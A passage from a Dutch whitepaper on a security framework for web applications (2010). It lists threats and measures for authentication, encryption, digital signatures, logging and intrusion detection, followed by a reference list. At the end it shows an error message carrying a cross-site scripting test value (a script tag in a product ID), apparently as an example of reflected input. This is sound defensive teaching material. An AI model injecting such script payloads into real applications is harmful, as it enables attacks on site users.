Overweeg de invoering van I&AM tooling – bekijk of het mogelijk is om gebruik te maken van standaard beschikbare tooling.

8.3.3

Zorg dat het authenticatiemechanisme niet te zwaar/te licht is

8.3.4

Vergeet het uitloggen niet – zorg ervoor dat een webapplicatie ook de mogelijkheid biedt om een bestaande sessie weer te verbreken (logout).

8.3.5

Zorg voor uniforme en flexibele authenticatiemechanismen – zorg er bijvoorbeeld voor dat een authenticatiemechanisme gebruikt kan worden in zowel HTML-gebaseerde als XML-gebaseerde toepassingen.

Titel

Datum


4-11-2010

Pagina

181

Vertrouwelijkheid en onweerlegbaarheid 9.2.1

Lekken van informatie – het in handen komen van vertrouwelijke informatie bij ongeautoriseerde personen.

9.2.2

Weerlegbaarheid – transacties zijn weerlegbaar op het moment dat een webapplicatie geen bewijs bijhoudt m.b.t. de bron, het tijdstip, de ontvangst en de inhoud van een transactie.

9.3.1

Maak (extern) gebruik van SSL-verbindingen – zorg voor versleuteling van vertrouwelijke gegevens op transportniveau door gebruik van SSL/TLS.

9.3.2

Sla gevoelige gegevens versleuteld of gehashed op – zorg ook voor versleuteling op applicatieniveau door gebruik te maken van versleuteling of hashing in de database en/of bestanden.

9.3.3

Versleutel cookies – voorkom dat kwaadwillende de inhoud van cookies kunnen inzien en/of aanpassen.

9.3.4

Maak gebruik van digitale handtekeningen – pas digitale handtekeningen toe om ervoor te zorgen dat transacties onweerlegbaar worden.

Beveiligingsintegratie 10.3

Stel vast welke beveiligingsservices een component zal afnemen

10.3

Stel vast welke beveiligingsservices een component zal moeten aanbieden

Monitoring, auditing en alerting 11.1.1

Ontbreken van toezicht – toezicht op gebeurtenissen in de webomgeving ontbreekt doordat er überhaupt geen logging wordt bijgehouden, juist te veel informatie wordt verzameld, er niet naar de logging wordt gekeken of gebeurtenissen niet aan elkaar gerelateerd kunnen worden.

11.1.2

Impact: onbekend – impact van een gebeurtenis op de hele webapplicatie keten is onbekend.

11.1.3

Gebrek aan coördinatie en samenwerking – complexe gebeurtenissen kunnen nooit volledig geanalyseerd en gedetecteerd worden op het moment dat verschillende afdelingen binnen de organisatie als ‘eilandjes’ werken.

11.2.1

Maak gebruik van Intrusion Detection Systemen (IDS) – zet een HIDS of NIDS in

Titel

Datum


4-11-2010

Pagina

182

voor het detecteren van aanvallen. 11.2.2

Breng logging op één punt samen – zorg voor een heldere blik op de informatie uit de verschillende lagen van het RBW.

11.2.3

Breng correlaties aan – breng horizontale (keten) en verticale (tussen lagen onderling) correlaties aan in alle verzamelde gebeurtenissen.

11.2.4

Richt NTP correct in – maak gebruik van NTP om ervoor te zorgen dat timestamps van verschillende logs synchroon lopen.

11.2.5

Audit de uitgedeelde autorisaties regelmatig – zorg ervoor dat een functioneel verantwoordelijke regelmatig (bv. maandelijks) bekijkt of uitgedeelde autorisaties nog steeds kloppen.

11.2.6

Bepaal wat te doen bij het uitvallen van loggingmechanismen – zorg ervoor dat geen logging verloren gaat op het moment dat loggingmechanismen (tijdelijk) niet meer beschikbaar zijn.

11.2.7

Stel bewaartermijnen van logging vast – bepaal hoe lang logging online en offline beschikbaar moet blijven.

11.2.8

Voer actief controles uit op logging – zorg dat er procedures bestaan die ervoor zorgen dat verzamelde logging ook daadwerkelijk wordt bekeken.

11.2.9

Coördineer en bevorder samenwerking – zorg dat verschillende afdelingen samenwerken in het detecteren, analyseren en oplossen van beveiligingsincidenten in de webomgeving.

Titel

Datum


4-11-2010

Pagina

183

D. Referenties Apache Foundation (2009). Apache Module mod_headers. http://httpd.apache.org/docs/2.0/mod/mod_headers.html

Baker, W. e.a. (2009). 2009 Data Breach Investigations Report. http://www.verizonbusiness.com/resources/security/reports/2009_databreach_rp.pdf

Bakker, J. (2009). Lek Just-Eat is al een jaar bekend . http://webwereld.nl/nieuws/64004/lek-just-eat-is-al-een-jaar-bekend.html

Berners-Lee, T. e.a. (1996). RFC 1945: Hypertext Transfer Protocol -- HTTP/1.0. http://www.ietf.org/rfc/rfc1945.txt

Bos, G. (2006). OSI-model. http://www.computerwoorden.nl/woorden/php/document/pdf/osi_model.pdf

Cenzic (2009). Making Web Applications Hacker Proof. http://www.cenzic.com/downloads/Cenzic_Survey_emedia-200910.pdf

Chandramouli, R.; Rose, S. (2006). Secure Domain Name System (DNS) Deployment Guide. http://csrc.nist.gov/publications/nistpubs/800-81/SP800-81.pdf

College Bescherming Persoonsgegevens (2001). Een IP-adres is niet altijd een persoonsgegeven. http://www.cbpweb.nl/Pages/uit_z2000-0340.aspx

David (2007). Chroot Apache. http://www.haught.org/howto/detail/item/chroot_apache/

Duncan, B. (2004). Writing Secure Transact-SQL. http://msdn.microsoft.com/en-us/library/aa175398%28SQL.80%29.aspx

Federal Trade Commission (2006). CardSystems Solutions Settles FTC Charges. http://www.ftc.gov/opa/2006/02/cardsystems_r.shtm

Fielding, R. e.a. (1997). RFC 2068: Hypertext Transfer Protocol -- HTTP/1.1. http://www.ietf.org/rfc/rfc2068.txt

Fielding, R. e.a. (1999). RFC 2616: Hypertext Transfer Protocol -- HTTP/1.1. http://www.ietf.org/rfc/rfc2616.txt

Titel

Datum


4-11-2010

Pagina

184

Franks, J. e.a. (1999). RFC 2617: HTTP Authentication: Basic and Digest Access Authentication . http://www.ietf.org/rfc/rfc2617.txt

Gauci, S.; Henrique, W. (2009). Web Application Firewalls: What the vendors do NOT want you to know.

http://www.owasp.org/images/0/0a/Appseceu09-Web_Application_Firewalls.pdf

GOVCERT.NL (2005). Bescherming tegen DDos-aanvallen. http://www.govcert.nl/render.html?it=50

GOVCERT.NL (2008). ‘De Kaminsky Code’: Kwetsbaarheden in DNS . http://www.govcert.nl/download.html?f=118

GOVCERT.NL (2008). DNS-misbruik. Van herkenning tot preventie. http://www.govcert.nl/download.html?f=119

GOVCERT.NL (2008). Patchmanagement. Een beveiligingsadvies… en dan?. http://www.govcert.nl/download.html?f=112

Grossman, J. (2007). Web Application Security Statistics 2007. http://www.whitehatsec.com/home/assets/WPStatsreport_100107.pdf

Hamel, E. (2009). Website Brein met 96 MB per seconde aangevallen. http://webwereld.nl/nieuws/60922/website-brein-met-96-mb-per-seconde-aangevallen.html

Homsher, L. (2010). Linux Security Checklist. http://www.sans.org/score/checklists/linuxchecklist.pdf

Howard, M. (2006). 8 Simple Rules For Developing More Secure Code. http://msdn.microsoft.com/en-us/magazine/cc163518.aspx

IBM (2008). How to enable or disable HTTP methods. http://www-01.ibm.com/support/docview.wss?uid=swg21201202

ISSA (2009). ISSA Journal February 2009. https://www.issa.org/Members/Journals-Archive/2009.html

Krebs, B. (2006). Citibank Phish Spoofs 2-Factor Authentication. http://blog.washingtonpost.com/securityfix/2006/07/citibank_phish_spoofs_2factor_1.html

Kristol, D.; Montulli, L. (2000). HTTP State Management Mechanism. http://www.ietf.org/rfc/rfc2965.txt

Titel

Datum


4-11-2010

Pagina

185

Kuehne, O. (2009). Audit File and Folder Access in Windows. http://www.neteye-blog.it/?p=572

MacDonald, N. (2009). Security No-Brainer #9: Application Vulnerability Scanners Should Communicate with Application Firewalls.

http://blogs.gartner.com/neil_macdonald/2009/08/19/security-no-brainer-9-applicationvulnerability-scanners-should-communicate-with-application-firewalls/

Microsoft (2009). How to harden the TCP/IP stack against denial of service attacks in Windows Server 2003.

http://support.microsoft.com/?kbid=324270

Microsoft (2000). Patch Available for 'Web Server Folder Traversal' Vulnerability. http://www.microsoft.com/technet/security/bulletin/MS00-078.mspx

Microsoft (2005). The Threats and Countermeasures Guide. http://www.microsoft.com/downloads/details.aspx?FamilyID=1b6acf93-147a-4481-9346f93a4081eea8

Microsoft (2009). Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege .

http://www.microsoft.com/technet/security/Bulletin/ms09-020.mspx

Microsoft (2006). Vulnerability in Microsoft Exchange Server Running Outlook Web Access Could Allow Script Injection. http://www.microsoft.com/technet/security/Bulletin/MS06-029.mspx

Microsoft (2009). Windows Server 2003 Security Guide. http://www.microsoft.com/downloads/details.aspx?familyid=8a2643c1-0685-4d89-b655521ea6c7b4db&displaylang=en

Networking4All (2009). Websites overheid onveilig . http://www.networking4all.com/nl/over+ons/pers/persberichten/overheid+onveilig/

OASIS (2005). Security Assertion Markup Language (SAML) v2.0. http://www.oasis-open.org/specs/#samlv2.0

OASIS (2006). Web Services Security: SOAP Message Security 1.1. http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-osSOAPMessageSecurity.pdf

Titel

Datum


4-11-2010

Pagina

186

Oggel, L. (2008). Taxatieverslag ligt op straat . http://www.pzc.nl/regio/bevelandentholen/2949555/Taxatieverslag-ligt-op-straat.ece

Oracle (2008). How to write SQL injection proof PL/SQL. http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf

OWASP (2010). OWASP Enterprise Security API. http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

OWASP (2007). OWASP Top 10 2007. http://www.owasp.org/index.php/Top_10_2007

Peters, M. (2004). Chrooting Apache. http://www.linux.com/archive/articles/36331

Poulsen, K. (2004). Pranksters bedevil TV weather announcement system. http://www.securityfocus.com/news/8191

Raucjh, J. (2000). Introduction to Linux Capabilities and ACL's. http://www.symantec.com/connect/articles/introduction-linux-capabilities-and-acls

RedHat (2002). Red Hat Linux Security Guide. http://www.redhat.com/docs/manuals/linux/RHL-9-Manual/security-guide/

Rijksoverheid (2003). Wet elektronische handtekeningen. http://www.e-overheid.nl/e-overheid-2.0/live/binaries/e-overheid/juridisch/wet-elektronischehandtekening.pdf

SANS Institute (2009). The Top Cyber Security Risks. http://www.sans.org/top-cyber-security-risks/

Team Cymru (2010). Secure Cisco IOS BGP Template. http://www.team-cymru.org/ReadingRoom/Templates/secure-bgp-template.html

Team Cymru (2010). Secure IOS Template. http://www.cymru.com/Documents/secure-ios-template.html

The Internet Infrastructure Foundation (2009). Incorrect DNS information. http://www.iis.se/en/2009/10/13/felaktig-dns-information/

US-CERT (2001). CERT Advisory CA-2001-26 Nimda Worm. http://www.cert.org/advisories/CA-2001-26.html

Titel

Datum


4-11-2010

Pagina

187

Vigil, N. (2003). Securing Cisco Routers. http://www.giac.org/certified_professionals/practicals/gsec/3398.php

Wagner, R. (2001). Securing Network Infrastructure and Switched Networks. http://www.sans.org/reading_room/whitepapers/basics/securing-network-infrastructure-switchednetworks_451

WASC (2009). Web Application Firewall Evaluation Criteria. http://projects.webappsec.org/Web-Application-Firewall-Evaluation-Criteria

WASC (2008). Web Application Security Statistics. http://projects.webappsec.org/f/WASS-SS-2008.pdf

Winter, B. de (2009). Eneco-site voor slimme energiemeters lek. http://webwereld.nl/nieuws/58614/eneco-site-voor-slimme-energiemeters-lek.html

Wollaars, J. (2009). Lek in beveiliging Geschillencommissie . http://nos.nl/artikel/85135-lek-in-beveiliging-geschillencommissie.html

Titel

Datum


4-11-2010

Pagina

188

Whitepaper Raamwerk Beveiliging Webapplicaties

Recommend Documents

Fout: product ‘$productid’ is niet aanwezig in de database

Fout: product ‘<script>alert(‘a’);’ is niet aanwezig in de database